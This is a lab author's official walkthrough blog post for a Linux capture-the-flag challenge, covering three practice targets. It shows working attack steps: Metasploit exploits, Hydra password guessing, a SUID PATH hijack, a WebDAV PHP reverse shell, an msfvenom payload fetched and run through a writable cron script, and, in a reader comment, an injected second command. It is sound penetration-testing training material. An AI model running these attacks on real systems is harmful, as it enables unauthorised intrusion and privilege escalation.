Blog Post

The Human Connection Blog
6 MIN READ

The Human Connection Challenge Lab 4: Linux Official Walkthrough Guide

StefanApostol's avatar
5 days ago

Time’s Up! Congratulations to everyone who completed Lab 4: Linux from the Human Connection Challenge: Season 1.

In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine!

This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed.

Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target.

With all that considered, let's get started.

Overview

This challenge is in no way linear and you could start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first!

For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!). I’ll simply talk through the technique that helped escalate privileges.

Target 1

First thing’s first, as with any pen test, Nmap!

nmap -Pn -sVTC -p- <Target 1 IP>

Here’s a breakdown of the flags used in this command:

  • -Pn: Skip ping scanning
  • -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts
  • -p-: All ports (1-65535)

Scanning all ports reveals that a Redis server is running version 4.0.1 on the target host. Since you have a version number, the next step is to identify any public exploits you could use.

A quick Google search for the version reveals there is a Metasploit module available for this.

First, fire up Metasploit as root with:

sudo msfconsole
Then, set all the necessary parameters needed for the exploit:
set srvhost <Kali IP>

set lhost <Kali IP>

set rhosts <Target 1 IP>

Then simply run the module.

Since the module was successful, you’ll get a connection back to your Kali machine’s listener.

Dropping into a shell reveals that you are root, and you can read the token to complete the first Target.

Target 2

Initial access

Back to square one. Since you don’t know anything about the second target, you must Nmap it and see what services it’s running.

nmap -Pn -sVTC -p- <Target 2 IP>

Since the only running service is SSH and the version doesn’t look like it would be vulnerable to any known exploits, you can attempt to connect to it and hope to gather more information.

ssh <Target 2 IP>

The SSH banner mentions the system is “reserved for john and friends”. Even though you aren’t friends with john, you now know that “john” is a valid system user so you can attempt a dictionary attack against this user.

hydra -l john -P /usr/share/wordlists/metasploit/burnett_top_500.txt ssh://<Target 2 IP>

The dictionary attack will reveal a valid password, trustno1. You can now use this password to log in as john over SSH and get the low-level token.

ssh john@<Target 2 IP>

Privilege escalation

Now that you have access to the target, you can attempt to escalate your privileges.

One of the methods is to find SUID binaries owned by root. These are binaries that can be executed with the privileges of their owner. If you can find one that uses another binary from the $PATH variable, you could exploit this behavior to escalate your privileges.

find /usr/local/bin -perm -4000

Checking for SUID binaries reveals /usr/local/bin/ls-lh.

After dumping the strings of this binary, you can see that it uses ls from $PATH.

This is extremely dangerous, as any user could escalate privileges by creating a binary called ls, adding it to a writable directory, and exporting their PATH to first contain this directory before anything else. And that’s precisely what you’ll do to exploit this!

First, create a file in /tmp called ls.c.

touch /tmp/ls.c

Then, add the following code that will spawn bash when run:

#include <stdlib.h>

int main(){ 

       system("/bin/bash");

}

Finally, compile this to /tmp/ls, add /tmp as the first location of the PATH variable, and run the original SUID binary.

gcc -o /tmp/ls /tmp/ls.c

export PATH=/tmp:$PATH

ls-lh /root

Target 3

Initial access

Again, start with an Nmap scan to see what services are running on the target host.

nmap -Pn -sVTC -p- <Target 3 IP>

You can see from the output that the target is running an Apache webserver titled anna’s website.

You can extend your Nmap command to run all HTTP scripts that don’t attempt brute forcing or DoS-ing against the target and try to uncover more information. 

nmap -Pn -sVTC --script="http* and not(brute or dos)" <Target 3 IP>

This reveals that the target is running webdav.

However, the status code returned is 401, which means you need valid credentials to access this. You know the username is anna, you just need to find the password.

hydra -l anna -P /usr/share/wordlists/metasploit/burnett_top_500.txt -f <Target 3 IP> http-get /webdav

This command reveals the password 123456.

Unfortunately, your Kali instance doesn’t have a webdav client such as cadaver, but creativity is part of a pen tester’s job!

Instead, use Metasploit’s windows/http/xampp_webdav_upload_php to get a reverse shell. Even though the target is Linux, this will still work because it uploads PHP. However, while the exploit is running, you must access the uploaded file manually to trigger it.

use windows/http/xampp_webdav_upload_php

set rhosts <Target 3 IP>

set filename shell.php

set username anna

set password 123456

exploit

Once the exploit module is triggered, you can access the uploaded file from a different terminal:

wget http://anna:123456@<Target 3 IP>/webdav/shell.php

And, of course, this triggers the reverse shell and you get a connection back to your Metasploit listener.

Privilege escalation

Checking crontab, you can see there is a recurring job run by root that clears webdav.

The permissions on this file allow it to be modified by anyone.

At this point, you could, in theory, just make it read the root token into a world-readable file and finish the challenge. But did you really hack it if you don’t have interactive access?

First, generate a reverse shell using msfvenom:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f elf > shell.elf

Then, serve it using Python:

sudo python -m http.server 80

Then, set up your Metasploit listener (since the port is 443, remember to run Metasploit as root):

use multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lport 443

set lhost <Kali IP>

exploit

And finally, you can modify the file run by the cron job to trigger your exploit.

echo “wget http://<Kali IP>/shell.elf; chmod +x shell.elf; ./shell.elf” > /tmp/clear-dav.sh

Once the job is triggered, it first downloads the file from your HTTP server.

Then, you get a connection back to your Metasploit listener.

Tools

For this challenge, you’ll use a range of tools including:

  • Nmap
  • Metasploit
  • Python
  • GCC
  • Hydra

Tips

When testing for vulnerabilities, remember that vulnerabilities may reside in any part of the target infrastructure. Subtle elements that appear unimportant could prove exploitable. So make sure you leave no stone unturned and check every single aspect of the target server.

To learn more about some of the tools used in this lab, take a look at the following collections:

  • Moving Around
  • Secure Testing: Beginner
  • Credential Access
  • Privilege Escalation: Linux
  • Introduction to Metasploit

Conclusion

The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done!

If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below!

I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!

Updated 29 seconds ago
Version 2.0
  • Instead of compiling an own 'ls' for target1, you could just typed:

    john@linux-challenge-2:~$ /usr/local/bin/ls-lh  '/root; cat /root/token.txt'